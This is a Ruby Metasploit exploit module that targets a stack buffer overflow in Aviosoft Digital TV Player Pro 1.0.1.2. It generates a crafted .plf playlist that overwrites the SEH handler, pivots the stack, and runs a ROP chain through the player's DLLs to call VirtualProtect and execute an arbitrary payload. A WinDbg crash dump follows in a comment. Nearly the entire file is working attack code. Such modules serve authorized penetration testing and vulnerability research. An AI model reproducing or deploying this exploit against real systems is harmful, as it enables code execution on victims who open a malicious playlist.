metasploit-gs/modules/exploits/windows/fileformat/aviosoft_plf_buf.rb

##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = GoodRanking

  include Msf::Exploit::FILEFORMAT

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => "Aviosoft Digital TV Player Professional 1.0 Stack Buffer Overflow",
        'Description' => %q{
          This module exploits a vulnerability found in Aviosoft Digital TV Player
          Pro version 1.x.  An overflow occurs when the process copies the content of a
          playlist file on to the stack, which may result arbitrary code execution under
          the context of the user.
        },
        'License' => MSF_LICENSE,
        'Author' => [
          'modpr0be', # Initial discovery, poc
          'sinn3r', # Metasploit
        ],
        'References' => [
          ['OSVDB', '77043'],
          ['EDB', '18096'],
        ],
        'Payload' => {
          'BadChars' => "\x00\x0a\x1a",
          'StackAdjustment' => -3500,
        },
        'DefaultOptions' => {
          'EXITFUNC' => "seh",
        },
        'Platform' => 'win',
        'Targets' => [
          [
            'Aviosoft DTV Player 1.0.1.2',
            {
              'Ret' => 0x6130534a, # Stack pivot (ADD ESP,800; RET)
              'Offset' => 612, # Offset to SEH
              'Max' => 5000 # Max buffer size
            }
          ],
        ],
        'Privileged' => false,
        'DisclosureDate' => '2011-11-09',
        'DefaultTarget' => 0,
        'Notes' => {
          'Reliability' => UNKNOWN_RELIABILITY,
          'Stability' => UNKNOWN_STABILITY,
          'SideEffects' => UNKNOWN_SIDE_EFFECTS
        }
      )
    )

    register_options(
      [
        OptString.new('FILENAME', [false, 'The playlist name', 'msf.plf'])
      ]
    )
  end

  def junk(n = 1)
    return [rand_text_alpha(4).unpack("L")[0]] * n
  end

  def nops(rop = false, n = 1)
    return rop ? [0x61326003] * n : [0x90909090] * n
  end

  def exploit
    rop = [
      nops(true, 10),  # ROP NOP
      0x6405347a,      # POP EDX # RETN (MediaPlayerCtrl.dll)
      0x10011108,      # ptr to &VirtualProtect
      0x64010503,      # PUSH EDX # POP EAX # POP ESI # RETN (MediaPlayerCtrl.dll)
      junk,
      0x6160949f,      # MOV ECX,DWORD PTR DS:[EDX] # POP ESI (EPG.dll)
      junk(3),
      0x61604218,      # PUSH ECX # ADD AL,5F # XOR EAX,EAX # POP ESI # RETN 0C (EPG.dll)
      junk(3),
      0x6403d1a6,      # POP EBP # RETN (MediaPlayerCtrl.dll)
      junk(3),
      0x60333560,      # & push esp #  ret 0c (Configuration.dll)
      0x61323EA8,      # POP EAX # RETN (DTVDeviceManager.dll)
      0xA13977DF,      # 0x00000343-> ebx
      0x640203fc,      # ADD EAX,5EC68B64 # RETN (MediaPlayerCtrl.dll)
      0x6163d37b,      # PUSH EAX # ADD AL,5E # POP EBX # RETN (EPG.dll)
      0x61626807,      # XOR EAX,EAX # RETN (EPG.dll)
      0x640203fc,      # ADD EAX,5EC68B64 # RETN (MediaPlayerCtrl.dll)
      0x6405347a,      # POP EDX # RETN (MediaPlayerCtrl.dll)
      0xA13974DC,      # 0x00000040-> edx
      0x613107fb,      # ADD EDX,EAX # MOV EAX,EDX # RETN (DTVDeviceManager.dll)
      0x60326803,      # POP ECX # RETN (Configuration.dll)
      0x60350340,      # &Writable location
      0x61329e07,      # POP EDI # RETN (DTVDeviceManager.dll)
      nops(true),      # ROP NOP
      0x60340178,      # POP EAX # RETN
      nops,            # Regular NOPs
      0x60322e02       # PUSH # RETN
    ].flatten.pack("V*")

    buf = ''
    buf << rand_text_alpha(target['Offset'] - buf.length)
    buf << [target.ret].pack('V*')
    buf << rand_text_alpha(136)
    buf << rop
    buf << make_nops(32)
    buf << payload.encoded
    buf << rand_text_alpha(target['Max'] - buf.length)

    file_create(buf)
  end
end

=begin
eax=00001779 ebx=047a02c0 ecx=000001f4 edx=047a6814 esi=047a77bc edi=00130000
eip=6400f6f0 esp=0012f038 ebp=00000001 iopl=0         nv up ei pl nz na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00010206
MediaPlayerCtrl!DllCreateObject+0x220:
6400f6f0 f3a5            rep movs dword ptr es:[edi],dword ptr [esi]
0:000> !exchain
0012f3bc: *** WARNING: Unable to verify checksum for C:\Program Files\Aviosoft\Aviosoft DTV Player Pro\DTVDeviceManager.dll
*** ERROR: Symbol file could not be found.  Defaulted to export symbols for C:\Program Files\Aviosoft\Aviosoft DTV Player Pro\DTVDeviceManager.dll -
DTVDeviceManager+534a (6130534a)
Invalid exception stack at 41414141
0:000> !address edi
    00130000 : 00130000 - 00003000
                    Type     00040000 MEM_MAPPED
                    Protect  00000002 PAGE_READONLY
                    State    00001000 MEM_COMMIT
                    Usage    RegionUsageIsVAD
0:000> !address esi
    047a0000 : 047a0000 - 0000b000
                    Type     00020000 MEM_PRIVATE
                    Protect  00000004 PAGE_READWRITE
                    State    00001000 MEM_COMMIT
                    Usage    RegionUsageHeap
                    Handle   013c0000
=end